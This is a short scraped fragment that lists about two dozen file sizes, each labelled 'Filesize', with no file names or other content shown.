396KB
-
Filesize
396KB
-
Filesize
400KB
-
Filesize
400KB
-
Filesize
2.0MB
-
Filesize
316KB
-
Filesize
632KB
-
Filesize
2.2MB
-
Filesize
316KB
-
Filesize
4.0MB
-
Filesize
2.0MB
-
Filesize
2.1MB
-
Filesize
508KB
-
Filesize
508KB
-
Filesize
4.0MB
-
Filesize
136KB
-
Filesize
5.3MB
-
Filesize
5.3MB
-
Filesize
5.3MB
-
Filesize
5.3MB
-
Filesize
5.3MB
-
Filesize
5.3MB
-
Filesize
5.3MB
-
Filesize
4.7MB
-
Filesize
4.7MB
-
Filesize
4.8MB
